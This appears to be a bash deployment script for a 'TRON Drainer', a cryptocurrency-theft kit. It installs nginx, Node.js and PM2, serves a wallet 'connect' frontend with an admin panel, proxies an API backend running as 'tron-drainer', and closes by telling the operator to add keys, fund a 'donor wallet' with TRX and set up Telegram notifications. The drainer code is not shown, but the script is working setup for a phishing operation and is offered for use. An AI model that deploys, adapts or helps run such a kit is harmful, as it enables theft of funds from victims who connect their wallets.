#!/bin/bash
set -e

# ===== TRON DRAINER AUTO DEPLOY =====
# Usage: ./deploy.sh yourdomain.com [email@example.com]

DOMAIN="${1}"
EMAIL="${2:-admin@${DOMAIN}}"

if [ -z "$DOMAIN" ]; then
    echo "Usage: ./deploy.sh yourdomain.com [email@example.com]"
    exit 1
fi

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"

echo "=========================================="
echo "  TRON Drainer Deploy"
echo "  Domain: $DOMAIN"
echo "  Email:  $EMAIL"
echo "=========================================="
echo ""

# 1. System update & packages
echo "[1/7] Installing system packages..."
apt update -qq
apt install -y -qq curl nginx certbot python3-certbot-nginx > /dev/null 2>&1

# 2. Node.js 20
if ! command -v node &> /dev/null || [[ $(node -v | cut -d. -f1 | tr -d v) -lt 20 ]]; then
    echo "[2/7] Installing Node.js 20..."
    curl -fsSL https://deb.nodesource.com/setup_20.x | bash - > /dev/null 2>&1
    apt install -y -qq nodejs > /dev/null 2>&1
else
    echo "[2/7] Node.js $(node -v) already installed"
fi

# 3. PM2
if ! command -v pm2 &> /dev/null; then
    echo "[3/7] Installing PM2..."
    npm install -g pm2 > /dev/null 2>&1
else
    echo "[3/7] PM2 already installed"
fi

# 4. Deploy frontend
echo "[4/7] Deploying frontend..."
rm -rf /var/www/frontend
cp -a "$SCRIPT_DIR/frontend" /var/www/frontend
chown -R www-data:www-data /var/www/frontend

# 5. Nginx config
echo "[5/7] Configuring Nginx..."
cat > /etc/nginx/sites-available/tron << NGINX
server {
    listen 80;
    server_name ${DOMAIN} www.${DOMAIN};

    root /var/www/frontend;
    index index.html;

    location / {
        try_files \$uri \$uri/index.html \$uri.html /index.html;
    }

    location /admin/ {
        root /var/www/frontend;
        index index.html;
    }

    location /connect/assets/ {
        root /var/www/frontend;
        expires 30d;
        add_header Cache-Control "public, immutable";
    }

    location ~* _next/static/chunks/791 {
        root /var/www/frontend;
        add_header Cache-Control "no-cache, no-store, must-revalidate";
        add_header Pragma "no-cache";
        add_header Expires "0";
    }

    location /assets/ {
        root /var/www/frontend;
        autoindex off;
    }

    location /api/ {
        if (\$request_method = OPTIONS) {
            return 204;
        }

        proxy_pass         http://127.0.0.1:8080/api/;
        proxy_set_header   Host                \$host;
        proxy_set_header   X-Forwarded-For     \$proxy_add_x_forwarded_for;
        proxy_set_header   X-Real-IP           \$remote_addr;

        add_header Access-Control-Allow-Origin  "*" always;
        add_header Access-Control-Allow-Methods "GET, POST, PUT, OPTIONS" always;
        add_header Access-Control-Allow-Headers "*" always;
    }
}
NGINX

ln -sf /etc/nginx/sites-available/tron /etc/nginx/sites-enabled/tron
rm -f /etc/nginx/sites-enabled/default
nginx -t && systemctl restart nginx

# 6. SSL
echo "[6/7] Obtaining SSL certificate..."
certbot --nginx -d "$DOMAIN" -d "www.$DOMAIN" --non-interactive --agree-tos -m "$EMAIL" 2>/dev/null || {
    echo "    WARNING: SSL failed. Make sure DNS A-records point to this server."
    echo "    You can retry later: certbot --nginx -d $DOMAIN -d www.$DOMAIN"
}

# 7. Backend
echo "[7/7] Starting backend..."
cd "$SCRIPT_DIR/backend"
npm install --production > /dev/null 2>&1

pm2 delete tron-drainer 2>/dev/null || true
pm2 start server.js --name tron-drainer
pm2 save > /dev/null 2>&1
pm2 startup > /dev/null 2>&1 || true

echo ""
echo "=========================================="
echo "  DEPLOY COMPLETE!"
echo "=========================================="
echo ""
echo "  Site:  https://$DOMAIN"
echo "  Admin: https://$DOMAIN/admin/"
echo ""
echo "  Backend: pm2 status"
echo "  Logs:    pm2 logs tron-drainer"
echo "  Restart: pm2 restart tron-drainer"
echo ""
echo "  Don't forget:"
echo "  - Fill backend/config.js with your keys"
echo "  - Fund donor wallet with 50-100 TRX"
echo "  - Set up Telegram bot notifications"
echo "=========================================="
